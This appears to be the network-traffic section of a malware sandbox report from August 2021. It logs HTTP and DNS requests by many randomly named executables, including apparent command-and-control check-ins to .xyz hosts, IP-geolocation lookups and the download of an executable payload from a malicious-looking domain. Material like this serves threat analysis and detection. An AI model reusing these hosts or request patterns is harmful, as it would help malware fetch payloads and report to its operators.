                                                                                                                                                                                                                                          Content-Encoding: gzip
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://iryarahara.xyz/
                                                                                                                                                                                                                                          HrVJwX4JK_BrfAM01ZGJkPgU.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          77.246.145.4:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"
                                                                                                                                                                                                                                          Host: iryarahara.xyz
                                                                                                                                                                                                                                          Content-Length: 144
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:24 GMT
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Keep-Alive: timeout=3
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Content-Encoding: gzip
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://api.ip.sb/geoip
                                                                                                                                                                                                                                          VwQqyIEtIQiqOFuVWw7gWHZj.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.26.13.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /geoip HTTP/1.1
                                                                                                                                                                                                                                          Host: api.ip.sb
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:14 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          Content-Length: 285
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=a9uBBXhG1CyWz6GIUOcGUgq%2F7qHhjztFGTQTPcDXsdVOYd2HNawaDPTgVfy892uuSoWU44R6IDRUhTyHopjCYl0f5kl%2BtHlqVS366FwtTIhhl33EjFhFhWETZw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682329765e654c43-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://garbage-cleaner.biz/check.php?pub=mixazed&user=Admin
                                                                                                                                                                                                                                          i5y6yr2MI6AcxzlCAW5Vu6mc.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          81.177.181.145:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /check.php?pub=mixazed&user=Admin HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          User-Agent: hV-TV-bs-yC-X-1
                                                                                                                                                                                                                                          Host: garbage-cleaner.biz
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:14 GMT
                                                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          X-Powered-By: PHP/5.4.16
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          https://connectini.net/Series/SuperNitou.php
                                                                                                                                                                                                                                          GameBoxWin64.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.0.210.44:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /Series/SuperNitou.php HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          Host: connectini.net
                                                                                                                                                                                                                                          Content-Length: 51
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:15 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          X-Powered-By: PHP/7.1.33
                                                                                                                                                                                                                                          X-Powered-By: PleskLin
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://jekorikani.xyz/
                                                                                                                                                                                                                                          MM6bxhR1XdM4iXPiXXnslTZn.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          185.117.75.123:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"
                                                                                                                                                                                                                                          Host: jekorikani.xyz
                                                                                                                                                                                                                                          Content-Length: 137
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:15 GMT
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Keep-Alive: timeout=3
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Content-Encoding: gzip
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://jekorikani.xyz/
                                                                                                                                                                                                                                          MM6bxhR1XdM4iXPiXXnslTZn.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          185.117.75.123:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"
                                                                                                                                                                                                                                          Host: jekorikani.xyz
                                                                                                                                                                                                                                          Content-Length: 144
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:22 GMT
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Keep-Alive: timeout=3
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Content-Encoding: gzip
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          93.184.220.29:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Microsoft-CryptoAPI/10.0
                                                                                                                                                                                                                                          Host: ocsp.digicert.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Age: 4154
                                                                                                                                                                                                                                          Cache-Control: max-age=146274
                                                                                                                                                                                                                                          Content-Type: application/ocsp-response
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:17 GMT
                                                                                                                                                                                                                                          Etag: "61205cf1-1d7"
                                                                                                                                                                                                                                          Expires: Mon, 23 Aug 2021 03:04:11 GMT
                                                                                                                                                                                                                                          Last-Modified: Sat, 21 Aug 2021 01:54:57 GMT
                                                                                                                                                                                                                                          Server: ECS (amb/6B9D)
                                                                                                                                                                                                                                          X-Cache: HIT
                                                                                                                                                                                                                                          Content-Length: 471
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://api.ip.sb/geoip
                                                                                                                                                                                                                                          DCbWUAjMYMWG4bi7Ib3ufG5p.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.26.13.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /geoip HTTP/1.1
                                                                                                                                                                                                                                          Host: api.ip.sb
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:17 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          Content-Length: 285
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=9dosAL7DHOa1axxpp329VILH2u3Fsj4DGhq1kz7uJs5%2Bw2CdA3wH3m1yJ5uWeiDka2MPMJMhcmk%2BLxKktskMZWcTDAgionHfwAsg9q6X8wfgPly3auZDXXz7BA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 6823298d4cfd1e71-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://api.ip.sb/geoip
                                                                                                                                                                                                                                          iiYu9sB90vd6TuzzKmNAJLqd.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.26.13.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /geoip HTTP/1.1
                                                                                                                                                                                                                                          Host: api.ip.sb
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:19 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          Content-Length: 285
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=qTFZH7XAxn884eAYuh13wWLI4Dk9w8XFFDLBnYxsp%2Bh3X7zkep7eCYnzThqTBVQ3CuDnDSySaN5pO2S7gCIH8XpIShfUXg95WVMq8e%2F5VS5NAVN8ncLne2jk1A%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682329951c4341c8-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          perfect-request-smart.com
                                                                                                                                                                                                                                          GameBoxWin64.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          perfect-request-smart.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          perfect-request-smart.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          66.29.130.154
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://perfect-request-smart.com/Widgets/ultramediaburner.exe
                                                                                                                                                                                                                                          GameBoxWin64.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          66.29.130.154:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /Widgets/ultramediaburner.exe HTTP/1.1
                                                                                                                                                                                                                                          Host: perfect-request-smart.com
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:19 GMT
                                                                                                                                                                                                                                          Server: Apache
                                                                                                                                                                                                                                          Last-Modified: Tue, 22 Jun 2021 13:14:01 GMT
                                                                                                                                                                                                                                          ETag: "81d73-5c55a9039f840"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 531827
                                                                                                                                                                                                                                          Keep-Alive: timeout=5, max=100
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          api.ip.sb
                                                                                                                                                                                                                                          440B.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          api.ip.sb
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          api.ip.sb
                                                                                                                                                                                                                                          IN CNAME
                                                                                                                                                                                                                                          api.ip.sb.cdn.cloudflare.net
                                                                                                                                                                                                                                          api.ip.sb.cdn.cloudflare.net
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.26.12.31
                                                                                                                                                                                                                                          api.ip.sb.cdn.cloudflare.net
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.26.13.31
                                                                                                                                                                                                                                          api.ip.sb.cdn.cloudflare.net
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          172.67.75.172
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://api.ip.sb/geoip
                                                                                                                                                                                                                                          7814738.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.26.12.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /geoip HTTP/1.1
                                                                                                                                                                                                                                          Host: api.ip.sb
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:20 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          Content-Length: 285
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=UhjQc5OVTTMpAV1w8uwaWbUJsVzSTJEpPClWqxH1ERN%2F5Ff6NloMYf1picbVPLt3PRfUXFU%2FMIeLCcokfuhrj5BJ1hmNWAWJT6M28XYQGprHqYAoSsQEpYKFRA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 6823299cdd514c6e-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          one-wedding-film.xyz
                                                                                                                                                                                                                                          jLj1KRl7Wh0of1ptA3Lmr_bZ.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          one-wedding-film.xyz
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          one-wedding-film.xyz
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.21.1.69
                                                                                                                                                                                                                                          one-wedding-film.xyz
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          172.67.128.192
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://one-wedding-film.xyz/?user_auth=p4_1
                                                                                                                                                                                                                                          jLj1KRl7Wh0of1ptA3Lmr_bZ.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.1.69:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /?user_auth=p4_1 HTTP/1.1
                                                                                                                                                                                                                                          Host: one-wedding-film.xyz
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:21 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          x-powered-by: PHP/7.1.33
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=gXwk7OonBf8eLyDCD5M6Z%2B%2BVZF95O5uAob4YbydL0ZN9AYSxLiLv34TsJKvd%2FznIZytLuAo4LXaB64qf%2Ftzy10IAhq6No2DqC85BQ6NhdruJujv5pn5N7PWp3q3U3nGAB5ubOgtRKg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682329a51d3a4be9-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://one-wedding-film.xyz/?user_auth=p4_2
                                                                                                                                                                                                                                          jLj1KRl7Wh0of1ptA3Lmr_bZ.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.1.69:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /?user_auth=p4_2 HTTP/1.1
                                                                                                                                                                                                                                          Host: one-wedding-film.xyz
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:29 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          x-powered-by: PHP/7.1.33
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=t0M0OlLbcjyg0yAaxNH%2F7VwJI2ZJHmiqwHlMw9X4u1Pd%2F3N20UjGCDhrpA9PGdHJ8fmEZn0EA%2Fh%2B46snPHzPh9vjvvTQ6HyE3Mf2Qu7CqTQPLiwqLe6kmNaHwM2ygF8WksF3mC%2FSLw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682329d418624be9-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://one-wedding-film.xyz/?user_auth=p4_3
                                                                                                                                                                                                                                          jLj1KRl7Wh0of1ptA3Lmr_bZ.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.1.69:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /?user_auth=p4_3 HTTP/1.1
                                                                                                                                                                                                                                          Host: one-wedding-film.xyz
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:29 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          x-powered-by: PHP/7.1.33
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=iHPT3NSAhYGIt%2B%2BQiuQaFNfHii5OQ6sWj9r7m5m2YtrtE0uXgkbCeKhyK0UedQXCOo9YwXXfRzdUgNYDeszABapmxHMz4PuqrY5drY2hMrjMc8YAb0hEO7OOaJ5xQ8tw7Ax32xTiqg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682329d61afe4be9-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://one-wedding-film.xyz/?user_auth=p4_4
                                                                                                                                                                                                                                          jLj1KRl7Wh0of1ptA3Lmr_bZ.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.1.69:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /?user_auth=p4_4 HTTP/1.1
                                                                                                                                                                                                                                          Host: one-wedding-film.xyz
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:29 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          x-powered-by: PHP/7.1.33
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=s2iy%2BlQ8bHWfc%2FxoQKpvsD0I4EFwKXVKQX0qlJeapd5hGpayiGIEA0Dwrw1vGry6Z6MmQTau2341t8Lx4MdBErR6L3FioP3QpbHK8uB0TMEpfU3MvB4p%2FfULxLpguiw%2BT4PgTPzMGA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682329d83ddf4be9-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://one-wedding-film.xyz/?user_auth=p4_5
                                                                                                                                                                                                                                          jLj1KRl7Wh0of1ptA3Lmr_bZ.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.1.69:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /?user_auth=p4_5 HTTP/1.1
                                                                                                                                                                                                                                          Host: one-wedding-film.xyz
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:29 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          x-powered-by: PHP/7.1.33
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
